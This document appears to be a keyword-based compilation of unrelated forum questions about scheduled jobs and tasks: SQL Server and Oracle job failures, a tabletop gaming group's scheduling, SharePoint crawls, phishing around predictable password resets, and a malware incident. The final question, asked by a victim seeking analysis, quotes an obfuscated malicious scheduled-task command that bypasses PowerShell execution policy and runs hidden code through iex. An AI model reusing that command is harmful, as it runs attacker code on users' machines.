Stored procedure runs fine when executed manually but fails in scheduled job

I have a stored procedure that runs fine when executed manually but fails in scheduled job. The error I receive is: Executed as user: \USER-a. Login failed for user ‘\USER-a’. [SQLSTATE 28000] (Error 18456). The step failed.

My other stored procedures runs fine when scheduled. The only stored procedures that fails are the ones that are written in this form.

SET @QUERY = ‘SELECT * from abc’


My gaming group can’t agree on play-by-post or scheduled games

I’m currently helping out as one of the DMs of a larger gaming group that will periodically see two or three players plus a DM go on a mission, usually handled in play-by-post format.

Right now, I have a group of three that’s been having pacing problems from the start despite multiple strategies to address them:

  • When we first started, all three players had differing activity levels, and the most active player was complaining about not being able to play because they were spending all their time waiting.
  • I adopted a faster activity level myself in response, and the least active player started complaining about not being able to play because everything was happening while they were busy with real life.
  • We called a post-mortem to discuss how to handle the pacing issues. One of the players suggested moving from play-by-post to a more traditional scheduled meeting, and another player actually shot this down complaining about not being able to play because making it an obligation took too much of the fun out of it.

Unless there’s an organizational strategy I’ve missed besides play-by-post or scheduled meeting, I don’t think I’m going to be able to run a game for these players, and while I expect the answer is going to be "find better player(s)", that’s a last resort.

How do I run for this group?

Why would a scheduled job fail in SQL Developer?

I am trying to create a scheduled job in Oracle SQL Developer that would run once a month and I am testing the Scheduler/Jobs feature where I have created a simple SQL query to test the ability to do this. I have a simple table called "TEST123" and I can see that it works when I do "SELECT * FROM TEST123;".

In SQL Developer I have a Job called "TEST1" which has a PL/SQL Block = "DROP TABLE TEST123;" to run immediately (though I have also tested this with running at a specific time).

After I see that I can still select from this test table and that the STATE of the job name is "FAILED". I left all other settings as default. What am I missing here? Why is it failing and is there a way to fix it?

Are there any known attacks (technical or social) against enterprises where password resets are scheduled on fixed (known) intervals?

A company I know of has a password policy that requires employees to change passwords (on AD server) every 90 days. The vast majority of its new hires start on the 1st of the month. Thus, several hundred password resets happen on a predictable schedule. My intuition tells me that this is tactically valuable information to an attacker (I am an infosec noob).

An attacker could enhance the standard "reply to this with your password" phish with a "reply to this with your password because it is time to change your password" phish. The latter seems less suspicious because the person who wrote the message knows about the password reset policy.

Are there any other attacks enhanced or made possible by a predictable password reset schedule?

I realize that (by the pigeonhole principle) every sufficiently large enterprise with a forced password change policy will have a lot of same-day password changes.

Scheduled snapshots of views (without materialized views or Golden Gate)?

I have 40 views in an Oracle 18c GIS database that are used in a map in a workorder management system (WMS).

  • The views are served up to the WMS map via a web service/REST.
  • The views have an average of 10,000 rows per view.

The views have joins to dblink-tables in a separate Oracle database, and as a result, are not fast enough for use in the WMS map (3-second map refresh delay). Furthermore, it seems like a bad idea to compute the views each time a user refreshes the map; since the map does not need to be up-to-date in real-time (an unnecessary burden on the DB).

As an alternative, I would like to take snapshots of the views on a weekly basis. The snapshots would be static tables that would perform much better in the WMS map.

The Catch:

Unfortunately, due to office politics challenges, using technology like materialized views or Oracle’s Golden Gate to solve this problem is not an option.

What are my options for taking scheduled snapshots of Oracle views (without using materialized views or Golden Gate)?

For example, I could make an .SQL script that truncates static tables and inserts the rows from the views into the tables (on some sort of schedule). But as a novice, I don’t know how efficient or risky that option would be, or if there are better alternatives.

SharePoint 2016 scheduled incremental crawls are not running

  • SharePoint 2016 MinRole Farm with latest patch KB4475590 (September/2019) Security update for SharePoint Enterprise Server 2016 Core.
  • Scheduled incremental crawls are not running even though in Central Administration the Next Incremental crawl date and time gets updated in the Manage Content Sources view, but nothing really happens.
  • If I manually trigger an incremental crawl to run it works fine.
  • No errors are being logged in ULS Logs or in event viewer.
  • Indexing Schedule Manager Timer Job on the Search Server is not running, even when I click on Run Now, it doesn’t seem to work.
  • In Central Administration>Server in Farm, the server with Role Application with Search is showing Compliant: No (Fix) and I’ve clicked on the Fix link and after it runs for a while, the Compliant status doesn’t change to Yes.

Things I’ve tried to troubleshoot the issue with no success:

  • Stop search services on the server and Timer service, clearing config cache and restarting all services.

  • index reset, run full crawl after that manually and set up the scheduled incremental crawl, which will not run neither.

  • created a new Content Source and set up the incremental crawls to see if it will run in this new content source and that didn’t happen neither.

Any idea or suggestions about what the issue is and how to fix it?

Undetected Trojan: what type of Scheduled task is this?

on a computer I received an email with a web link inside that shows the following address:


(EDIT: Link neutered)

From this address (with the Chrome browser) a .zip file is downloaded which contains two files inside: a pdf file and an exe file that creates a Scheduled Task.

The antivirus (Bitdefender) has not identified any threats. With a subsequent analysis using VirusTotal the .zip file has been identified as “Trojan, Suspicious link or Link Drop” from only 7 AV engines.

The individual files, on the other hand, are not detected by any engine (but there is one detection from the community).

The user has clicked on the PDF file that has created a scheduled task.

The scheduled Task created has this format:

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$  y=ls -force -r -in comu*.*|select -last 1;$  y=gc -LiteralPath $  y|select -last 1;iex $  y}" 

The task is programmed to run every 2 minutes. What is shown, on this computer, is a quick and empty pop up of the command prompt window.

I can’t understand the intent of this Scheduled Task.

Can you help me to figure out?

How can I detect the type of compromise I had on this computer?

Thanks in advance.